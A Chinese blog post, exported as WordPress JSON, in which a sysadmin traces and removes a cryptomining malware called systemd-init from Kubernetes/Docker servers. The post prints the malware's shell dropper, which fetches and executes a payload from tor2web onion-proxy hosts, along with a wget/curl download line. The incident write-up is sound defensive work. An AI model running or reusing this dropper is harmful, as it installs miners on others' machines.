{"id":219,"date":"2019-08-29T16:43:44","date_gmt":"2019-08-29T08:43:44","guid":{"rendered":"http:\/\/www.luyouli.com\/?p=219"},"modified":"2019-09-03T15:44:56","modified_gmt":"2019-09-03T07:44:56","slug":"%e5%a4%84%e7%90%86%e5%8f%a6%e4%b8%80%e4%b8%aacpu%e6%8c%96%e7%9f%bf%e7%97%85%e6%af%92","status":"publish","type":"post","link":"https:\/\/www.luyouli.com\/?p=219","title":{"rendered":"\u4e00\u4e2a\u540d\u4e3asystemd-init\u7684CPU\u6316\u77ff\u75c5\u6bd2\u53ca\u540e\u7eed"},"content":{"rendered":"\n

\u4eca\u5929\u63a5\u5230\u4e86\u62a5\u8b66\uff0c\u4e00\u53f0\u5185\u90e8\u7684\u670d\u52a1\u5668CPU\u8d1f\u8f7d\u55f7\u55f7\u7684\u9ad8\uff0c\u611f\u5230\u975e\u5e38\u7684\u7591\u60d1\uff0c\u5c31\u70b9\u8fdb\u53bb\u770b\u770b\u8d1f\u8f7d\u60c5\u51b5<\/p>\n\n\n\n

\"\"
CPU\u7206\u6ee1<\/figcaption><\/figure>\n\n\n\n

\u76d1\u63a7\u8bda\u4e0d\u6b3a\u6211\uff0c\u679c\u7136\u662fCPU\u8dd1\u7206\u4e86\uff0c\u7136\u540e\u770b\u770bCommand\uff0c\u53d1\u73b0\u90fd\u662fM\u5f00\u5934\u7684\uff0c\u8fd9\u80af\u5b9a\u5c31\u662f\u75c5\u6bd2\u4e86\uff0c\u5c31\u5f00\u59cb\u5904\u7406<\/p>\n\n\n

<\/p>\n\n\n

\u53d1\u73b0\u8fd0\u884c\u6700\u957f\u7684\u8fdb\u7a0bPID\u662f32336\uff0c\u5c31\u62ff\u5b83\u4e0b\u5200\u5f00\u59cb\u67e5<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u53d1\u73b0\uff0c\u6bdb\u90fd\u67e5\u4e0d\u5230\uff0c\u5c31\u5f00\u59cb\u6309\u7167\u5e38\u89c4\u5f00\u59cb\u67e5crontab\u3001rc.local\uff0c\u7ed3\u679c\u6709\u53d1\u73b0<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u8fd9\u662f\u4e2a\u975e\u5e38\u4ee4\u4eba\u86cb\u75bc\u4e1c\u4e1c\uff0c\u5c31\u53bb\u770b\u770b\u91cc\u9762\u5230\u5e95\u5199\u4e86\u4ec0\u4e48<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n

\u8fd9\u6b21\u7684\u75c5\u6bd2\u6bd4\u4e0a\u6b21\u5904\u7406\u7684\u8981\u9ad8\u660e\u591a\u4e86\uff0c\u8fd8\u77e5\u9053\u7528BASE64\u52a0\u5bc6\u4e00\u4e0b\uff0c\u4f46\u662f\u7136\u5e76\u5375\uff0c\u5206\u5206\u949f\u89e3\u5bc6\u51fa\u6765\u4e86\uff0c\u7a0d\u5fae\u7814\u7a76\u4e86\u4e0b\u53d1\u73b0\u5173\u952e\u70b9\u662f\u8fd9\u4e48\u4e00\u53e5\uff1a<\/p>\n\n\n\n

if ! ls \/proc\/$(cat \/tmp\/.X11-unix\/0)\/io; then<\/p>\n\n\n\n

\/tmp\/.X11-unix\/0 \u8fd9\u4e2a\u6587\u4ef6\u5e94\u8be5\u662f\u4e0d\u5b58\u5728\u7684\uff0c\u8fd9\u91cc\u65e2\u7136\u6709\u8fd9\u4e2a\uff0c\u90a3\u5c31\u5f00\u59cb\u5904\u7406\u4e00\u4e0b\uff0c\u53d1\u89c9\/tmp\/.X11-unix\/\u4e0b\u9762\u6709 0 1 2 \u4e09\u4e2a\u6587\u4ef6\u5939\uff0c\u5bf9\u5e94\u7684\u4e09\u4e2aPID<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n

\u53d1\u89c9\u8fd8\u662f\u67e5\u4e0d\u5230\uff0c\u4f46\u662f\u8d77\u7801\u77e5\u9053\u4e864fmW2Z\u8fd9\u4e2a\u8fdb\u7a0b\u662f\u5173\u952e\uff0c\u7136\u540e\u5c31\u5f00\u59cb\u8be5\u5220\u9664\u7684\u5220\u9664\uff0c\u8be5\u505c\u6b62\u7684\u505c\u6b62<\/p>\n\n\n\n

\u6ce8\u91ca\u6389crontab\u91cc\u9762\u7684\u4efb\u52a1\uff0ckill\u6389\u4e09\u4e2a\u8fdb\u7a0b\uff0c\u5220\u9664\u6389\/tmp\/.X11-unix\u91cc\u7684\u6587\u4ef6\uff0c\u518d\u770b\u670d\u52a1\u5668\u6062\u590d\u4e86\u6b63\u5e38<\/p>\n\n\n\n

\u7136\u540e\u5c31\u662f\u7ee7\u7eed\u89c2\u5bdf\uff0c\u770b\u770b\u8fd8\u4f1a\u4e0d\u4f1a\u8d77\u6765\u65b0\u7684\u8fdb\u7a0b<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u8fd9\u6b21\u7684\u75c5\u6bd2\u660e\u663e\u6bd4\u4e0a\u6b21\u7684\u75c5\u6bd2\u8981\u725b\u903c\uff0c\u4f46\u662f\u8c8c\u4f3c\u4e09\u4e2aPID\u662f\u56fa\u5b9a\u7684\uff0c9581\u300115755\u548c32336\uff0c\u4ee5\u540e\u5982\u679c\u6709\u4eba\u53d1\u73b0\u4e86\u8fd9\u4e09\u4e2a\u75c5\u6bd2\uff0c\u76f4\u63a5\u5494\u6389\u5c31\u597d\uff0c\u5c31\u4e0d\u9700\u8981\u53e6\u884c\u70e6\u607c\u4e86<\/p>\n\n\n\n

\u7136\u540e\u6df1\u5165\u7684\u5206\u6790\u4e00\u4e0b\u75c5\u6bd2\u662f\u51e0\u4e2a\u610f\u601d\uff0c\u4ececrontab\u91cc\u9762\u7684\u811a\u672c\u6458\u51fawget\u547d\u4ee4\u4e0b\u8f7d\u4e00\u4e0b\uff0c\u8d77\u4e86\u4e00\u4e2adocker\u5bb9\u5668\u5f00\u59cb\u641e<\/p>\n\n\n\n

# wget -t1 -T180 -qU- -O–no-check-certificate intelbagjop7nzm5.tor2web.io\/crn || curl -m180 -fsSLkA- intelbagjop7nzm5.tor2web.io\/crn<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n

crn\u811a\u672c\u4f1a\u4e0b\u8f7dint\u811a\u672c\u75c5\u6bd2\uff0cint\u75c5\u6bd2\u811a\u672c\u4f1a\u4e0b\u8f7dcpu\u811a\u672c\u75c5\u6bd2\uff0c\u4f46\u662fint\u811a\u672c\u548ccpu\u811a\u672c\u90fd\u662f\u52a0\u5bc6\u7684\uff0ccrn\u811a\u672c\u5982\u4e0b\uff1a<\/p>\n\n\n\n

exec &>\/dev\/null
export PATH=$PATH:\/bin:\/sbin:\/usr\/bin:\/usr\/sbin:\/usr\/local\/bin:\/usr\/local\/sbin
x() {
f=\/int
d=.\/$(date|md5sum|cut -f1 -d” “)
wget -t1 -T180 -qU- –no-check-certificate $1$f -O$d || curl -m180 -fsSLkA- $1$f -o$d
chmod +x $d;$d;rm -f $d
}
d=”rm -f asdf”
touch \/tmp\/asdf && cd \/tmp && $d
touch \/var\/tmp\/asdf && cd \/var\/tmp
touch \/dev\/shm\/asdf && cd \/dev\/shm && $d
touch \/usr\/bin\/asdf && cd \/usr\/bin && $d
touch \/opt\/consul\/asdf && cd \/opt\/consul && $d
touch \/data\/consul\/asdf && cd \/data\/consul && $d
touch \/var\/lib\/psql\/asdf && cd \/var\/lib\/psql\/asdf && $d
touch \/var\/lib\/psql\/data\/asdf && cd \/var\/lib\/psql\/data && $d
touch \/var\/lib\/postgres\/asdf && cd \/var\/lib\/postgres && $d
touch \/var\/lib\/postgres\/data\/asdf && cd \/var\/lib\/postgres\/data && $d
touch \/var\/lib\/postgresql\/asdf && cd \/var\/lib\/postgresql && $d
touch \/var\/lib\/postgresql\/data\/asdf && cd \/var\/lib\/postgresql\/data && $d
touch $PGDATA\/asdf && cd $PGDATA && $d
for h in tor2web.io d2web.org onion.in.net onion.glass onion.mn onion.to onion.sh onion.ws
do
if ! ls \/proc\/$(cat \/tmp\/.X11-unix\/0)\/io; then
x intelbagjop7nzm5.$h
else
break
fi
done<\/p>\n\n\n\n

\u771f\u662f\u4e0d\u770b\u4e0d\u77e5\u9053\uff0c\u4e00\u770b\u5413\u4e00\u8df3\uff0cTMD\u7ed9\u5f04\u4e86\u8fd9\u4e48\u4e1c\u897f\uff0c\u6328\u4e2a\u7814\u7a76\u5427\uff0c\u591a\u4f59\u7684\u5c31\u4e0d\u591a\u8bf4\u4e86<\/p>\n\n\n\n

\u6700\u8fd1\u75c5\u6bd2\u8086\u8650\u6f0f\u6d1e\u9891\u53d1\uff0c\u8fd8\u662f\u53ca\u65f6\u66f4\u65b0\u4e3a\u4e0a<\/p>\n\n\n\n

\u540e\u7eed\uff08\u7b2c\u4e8c\u5929\uff09\uff1a<\/p>\n\n\n\n

\u672c\u4ee5\u4e3a\u5c31\u8fd9\u4e00\u53f0\u670d\u52a1\u5668\u88ab\u641e\u4e86\uff0c\u6ca1\u60f3\u5230\u4e0d\u662f\u8fd9\u4e00\u53f0\uff0c\u800c\u662fN\u591a\u53f0\u670d\u52a1\u5668\uff0c\u76ee\u524d\u8fd9\u53f0\u670d\u52a1\u5668\u6709\u6743\u9650\u8fde\u63a5\u7684\u5168\u90e8\u4e2d\u62db\uff0c\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u6211\u5df2\u7ecf\u6328\u4e2a\u5904\u7406\u8fc7\u4e86<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u6240\u6709\u7684\u75c7\u72b6\u90fd\u662f\u8dd1\u6ee1CPU\uff0c\u6709\u4e00\u4e2a\u8ba1\u5212\u4efb\u52a1\u7684\u8def\u5f84\u662f\/root\/.systemd-init\uff0c\/tmp\/.X11-unix\/\u8def\u5f84\u4e0b\u6709 0 1 2 \u4e09\u4e2a\u6587\u4ef6\u5939\uff0c\u4e09\u4e2a\u6587\u4ef6\u5939\u662f\u4e24\u4e2aPID\u53f7\uff0c\u6709\u4e00\u4e2a\u6587\u4ef6\u5939\u662f\u7a7a\u7684\uff0c\u5728 \/ \u8def\u5f84\u548c \/var\/tmp\/ \u8def\u5f84\u4e0b\u6709\u7a7a\u6587\u4ef6asdf<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n

\u5982\u679c\u662f\u8fd9\u6837\u7684\u75c7\u72b6\uff0c\u90a3\u5c31\u662f\u8ddf\u6211\u4e2d\u7684\u4e00\u6837\u7684\u75c5\u6bd2\uff0c\u8fd8\u5728\u7ee7\u7eed\u7814\u7a76\u8fd9\u4e2a\u75c5\u6bd2\u662f\u4ece\u90a3\u91cc\u6765\u7684\uff0c\u4f46\u662f\u4e2d\u6bd2\u7684\u8fd9\u6279\u673a\u5668\uff0c\u90fd\u662f\u8dd1kubernetes\u548cdocker\u7684\uff0c\u8054\u60f3\u5230\u4e4b\u524dkubernetes\u7206\u51fa\u7684\u5927\u6f0f\u6d1e\uff0c\u55ef\u00b7\u00b7\u00b7\u53ca\u65f6\u66f4\u65b0\u624d\u662f\u6b63\u9053\u3002<\/p>\n\n\n\n

\u5728\u4fee\u590d\u8fc7\u7a0b\u4e2d\uff0c\u610f\u5916\u53d1\u73b0\u4e86\u4e00\u4e2a\u975e\u5e38\u86cb\u75bc\u7684\u4e8b\u60c5\uff0c\u6709\u4e00\u53f0\u673a\u5668\u7684crontab\u6ce8\u91ca\u4f1a\u88ab\u89e3\u5f00\uff0c\u8bf4\u660ecrontab\u88ab\u590d\u5199<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u6700\u7ec8\u53d1\u73b0\u8fd9\u53f0\u670d\u52a1\u5668\u6839\u672c\u6ca1\u6709\u52a8\u8fc7\u4e5f\u6ca1\u6709\u4efb\u4f55\u91cd\u542f\u64cd\u4f5c\uff0c\u5e94\u8be5\u8fd8\u662f\u8ba1\u5212\u4efb\u52a1\u7684\u95ee\u9898\uff0c\u7136\u540e\u5c31\u4ed4\u7ec6\u7684\u7814\u7a76\u4e86\u7814\u7a76crontab\u7684\u6587\u4ef6\uff0c\u6700\u7ec8\u5728\/etc\/cron.d\/\u53d1\u73b0\u4e00\u4e2a\u540d\u4e3a0systemd\u7684\u6587\u4ef6\u3002<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u6587\u4ef6\u5185\u6307\u5411systemd-init\u6587\u4ef6\uff0c\u5c31\u770b\u770b\u8fd9\u4e2a\u6587\u4ef6\u5185\u5bb9\u662f\u4ec0\u4e48\uff0c\u7ed3\u679c\u53d1\u73b0\u786e\u5b9e\u662f\u540c\u4e00\u4e2a\u75c5\u6bd2<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u7136\u540e\u67e5\u770b\u4e0b\u6240\u6709\u7684\u670d\u52a1\u5668\uff0c\u53d1\u73b0\u786e\u5b9e\u662f\u90fd\u6709\u8fd9\u4e2a\u8ba1\u5212\u4efb\u52a1\u548c\u75c5\u6bd2\u6587\u4ef6<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

ansible -i hosts all -m shell -a “sed -i ‘s\/0\/#0\/g’ \/etc\/cron.d\/0systemd” # \u5168\u90e8\u6ce8\u91ca\u6389<\/p>\n\n\n\n

\u6015\u8fd8\u6709\u522b\u7684\u5c31\u5f00\u59cb\u67e5\u8be2 # find \/ -name systemd-init<\/em> -print<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u540e\u7eed\uff08\u7b2c\u4e09\u5929\uff09\uff1a<\/p>\n\n\n\n

\u7ecf\u8fc7\u6628\u5929\u665a\u4e0a\u4e00\u665a\u4e0a\u7684\u68c0\u7d22\uff0c\u5728\/var\/log\/messages*\u91cc\u53c8\u53d1\u73b0\u4e86\u4e00\u4e9b\u7ebf\u7d22\uff0c\u53d1\u73b0\u5229\u7528ansible\u4f20\u64ad\u75c5\u6bd2<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n

\/usr\/lib\/systemd\/systemd-init \u53c8\u53d1\u73b0\u4e86\u4e00\u4e2a\u75c5\u6bd2\u8def\u5f84\uff0c\u771f\u662f\u9632\u4e0d\u80dc\u9632<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u7136\u540e\u6709\u53d1\u73b0\u4e86\u53e6\u5916\u7684\u4e24\u4e2a\u75c5\u6bd2\u811a\u672c<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n

\u60ca\u5947\u7684\u53d1\u73b0\u53e6\u5916\u4e00\u4e2asystemd-login\u7684\u75c5\u6bd2\uff0c\u53c8\u904d\u5386\u4e86\u4e00\u904d\u6240\u6709\u670d\u52a1\u5668\uff0c\u6ca1\u6709\u53d1\u73b0\u8fd9\u4e2a\uff0c\u5e78\u597d\u5e78\u597d<\/p>\n\n\n\n

\u7ed3\u5408\u4e0a\u9762\u6240\u6709\u7684\u95ee\u9898\u548c\u8868\u73b0\uff0c\u6700\u540e\u603b\u89c9\u5f97\u8fd9\u4e2a2017\u5e74\u7684\u75c5\u6bd2\u5e94\u8be5\u66b4\u51fa\u6765\u8fc7\uff0c\u7ecf\u8fc7\u4e00\u756a\u8c37\u6b4c\uff0c\u53d1\u73b0\u4e86\u4e00\u7bc7\u6587\u7ae0\uff0c\u94fe\u63a5\u5982\u4e0b\uff1a<\/p>\n\n\n\n

\u300a\u5229\u7528Consul RCE\u6f0f\u6d1e\u4f20\u64ad\u7684\u6316\u77ff\u6728\u9a6c\u5206\u6790\u300b<\/p>\n\n\n\n

https:\/\/www.anquanke.com\/post\/id\/173818<\/a><\/p>\n\n\n\n

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\u4e0b\u7bc7\u6587\u7ae0\u641e\u4e00\u4e0b\u5982\u4f55\u5220\u9664\u75c5\u6bd2<\/p>\n","protected":false},"excerpt":{"rendered":"

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